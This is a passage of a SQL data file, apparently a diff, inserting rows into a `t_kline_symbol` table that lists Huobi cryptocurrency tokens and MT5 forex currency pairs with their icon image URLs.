NULL); +INSERT INTO `t_kline_symbol` VALUES (1216, 'huobi', 'api3', 'API3', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/api3.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1217, 'huobi', '1inch', '1INCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1inch.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1218, 'huobi', 'lina', 'LINA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1219, 'huobi', 'matic', 'MATIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1220, 'huobi', 'reef', 'REEF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reef-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1221, 'huobi', 'flow', 'FLOW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flow.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1222, 'huobi', 'auction', 'AUCTION', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auction.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1223, 'huobi', 'mask', 'MASK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mask-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1224, 'huobi', 'enj', 'ENJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enjin-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1225, 'huobi', 'axs', 'AXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axie-infinity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1226, 'huobi', 'rndr', 'RNDR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/render-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1227, 'huobi', 'ctsi', 'CTSI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartesi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1228, 'huobi', 'rlc', 'RLC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rlc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1229, 'huobi', 'icp', 'ICP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfn.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1230, 'huobi', 'mina', 'MINA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mina-protocoliou.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1231, 'huobi', 'srm', 'SRM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/serum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1232, 'huobi', 'rad', 'RAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radicle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1233, 'huobi', 'coti', 'COTI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/593df91f663ae2ea67a25f1fe28f7b90.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1234, 'huobi', 'ftm', 'FTM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantom.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1235, 'huobi', 'sxp', 'SXP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swipe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1236, 'huobi', 'agld', 'AGLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adventure-gold.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1237, 'huobi', 'dydx', 'DYDX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dydx.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1238, 'huobi', 'imx', 'IMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/immutablex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1239, 'huobi', 'ens', 'ENS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-name-service.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1240, 'huobi', 'people', 'PEOPLE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/constitutiondao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1241, 'huobi', 'alice', 'ALICE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/my-neighbor-alice.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1242, 'huobi', 'idex', 'IDEX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1243, 'huobi', 'spell', 'SPELL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spell-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1244, 'huobi', 'lpt', 'LPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/livepeer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1245, 'huobi', 'celo', 'CELO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celo-gold.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1246, 'huobi', 'egld', 'EGLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elrond-erd-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1247, 'huobi', 'cvx', 'CVX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/convex-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1248, 'huobi', 'lqty', 'LQTY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1249, 'huobi', 'ocean', 'OCEAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/765e20e91cad0d6a15c3f99ffdc4242e.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1250, 'huobi', 'astr', 'ASTR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/astar.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1251, 'huobi', 'unfi', 'UNFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unifi-protocol-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1252, 'huobi', 'anc', 'ANC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anchor-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1253, 'huobi', 'c98', 'C98', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin98.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1254, 'huobi', 'dusk', 'DUSK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dusk-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1255, 'huobi', 'jasmy', 'JASMY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jasmycoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1256, 'huobi', 'audio', 'AUDIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/audius.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1257, 'huobi', 'fet', 'FET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fetch-ai.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1258, 'huobi', 'gmt', 'GMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/green-metaverse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1259, 'huobi', 'ape', 'APE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apecoin-ape.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1260, 'huobi', 'tlm', 'TLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alien-worlds.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1261, 'huobi', 't', 'T', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/threshold-network-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1262, 'huobi', 'joe', 'JOE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1263, 'huobi', 'stg', 'STG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stargate-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1264, 'huobi', 'dodo', 'DODO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dodo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1265, 'huobi', 'gal', 'GAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-galaxy.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1266, 'huobi', 'op', 'OP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optimism.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1267, 'huobi', 'ldo', 'LDO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lido-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1268, 'huobi', 'phb', 'PHB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/red-pulse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1269, 'huobi', 'gmx', 'GMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldmaxcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1270, 'huobi', 'hft', 'HFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investment/hashflow-rect5l8WOfEj9YvnU.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1271, 'huobi', 'gala', 'GALA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gala.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1272, 'huobi', 'magic', 'MAGIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1273, 'huobi', 'ssv', 'SSV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ssv-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1274, 'huobi', 'rdnt', 'RDNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radiant-capital.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1275, 'huobi', 'agix', 'AGIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitynet-x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1276, 'huobi', 'blur', 'BLUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blur-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1277, 'huobi', 'cfx', 'CFX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conflux-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1278, 'huobi', 'tru', 'TRU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truefi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1279, 'huobi', 'arb', 'ARB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitrum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1280, 'huobi', 'sui', 'SUI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sui.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1281, 'huobi', 'sei', 'SEI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1282, 'huobi', 'fct2', 'FCT2', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1283, 'huobi', 'pendle', 'PENDLE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pendle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1284, 'huobi', 'fxs', 'FXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frax-share.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1285, 'huobi', 'wld', 'WLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/walk-dogs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1286, 'huobi', 'id', 'ID', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/space-id.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1287, 'mt5', 'USD', 'USD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1288, 'mt5', 'EURUSD', 'EURUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1289, 'mt5', 'GBPUSD', 'GBPUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1290, 'mt5', 'USDJPY', 'USDJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1291, 'mt5', 'AUDUSD', 'AUDUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1292, 'mt5', 'USDCHF', 'USDCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1293, 'mt5', 'USDCAD', 'USDCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1294, 'mt5', 'USDHKD', 'USDHKD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDHKD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1295, 'mt5', 'USDCNY', 'USDCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1296, 'mt5', 'USDCNH', 'USDCNH', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDCNH.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1297, 'mt5', 'USDKRW', 'USDKRW', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDKRW.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1298, 'mt5', 'NZDCAD', 'NZDCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1299, 'mt5', 'EURNZD', 'EURNZD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURNZD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1300, 'mt5', 'AUDJPY', 'AUDJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1301, 'mt5', 'AUDNZD', 'AUDNZD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDNZD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1302, 'mt5', 'AUDCAD', 'AUDCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1303, 'mt5', 'CHFJPY', 'CHFJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CHFJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1304, 'mt5', 'AUDCHF', 'AUDCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1305, 'mt5', 'GBPCAD', 'GBPCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1306, 'mt5', 'EURGBP', 'EURGBP', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURGBP.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1307, 'mt5', 'CADCHF', 'CADCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CADCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1308, 'mt5', 'GBPJPY', 'GBPJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1309, 'mt5', 'EURJPY', 'EURJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1310, 'mt5', 'EURCHF', 'EURCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1311, 'mt5', 'NZDJPY', 'NZDJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1312, 'mt5', 'GBPCHF', 'GBPCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1313, 'mt5', 'NZDCHF', 'NZDCHF', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDCHF.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1314, 'mt5', 'CADJPY', 'CADJPY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CADJPY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1315, 'mt5', 'GBPAUD', 'GBPAUD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPAUD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1316, 'mt5', 'EURAUD', 'EURAUD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURAUD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1317, 'mt5', 'GBPNZD', 'GBPNZD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPNZD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1318, 'mt5', 'EURCAD', 'EURCAD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1319, 'mt5', 'USDMXN', 'USDMXN', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDMXN.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1320, 'mt5', 'USDTRY', 'USDTRY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDTRY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1321, 'mt5', 'USDZAR', 'USDZAR', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDZAR.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1322, 'mt5', 'USDDKK', 'USDDKK', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDDKK.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1323, 'mt5', 'USDNOK', 'USDNOK', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDNOK.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1324, 'mt5', 'USDRUB', 'USDRUB', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDRUB.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1325, 'mt5', 'USDSEK', 'USDSEK', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDSEK.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1326, 'mt5', 'USDSGD', 'USDSGD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDSGD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1327, 'mt5', 'NZDUSD', 'NZDUSD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDUSD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1328, 'mt5', 'AUDCNY', 'AUDCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1329, 'mt5', 'CNYHKD', 'CNYHKD', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/CNYHKD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1330, 'mt5', 'GBPCNY', 'GBPCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1331, 'mt5', 'EURCNY', 'EURCNY', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURCNY.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO 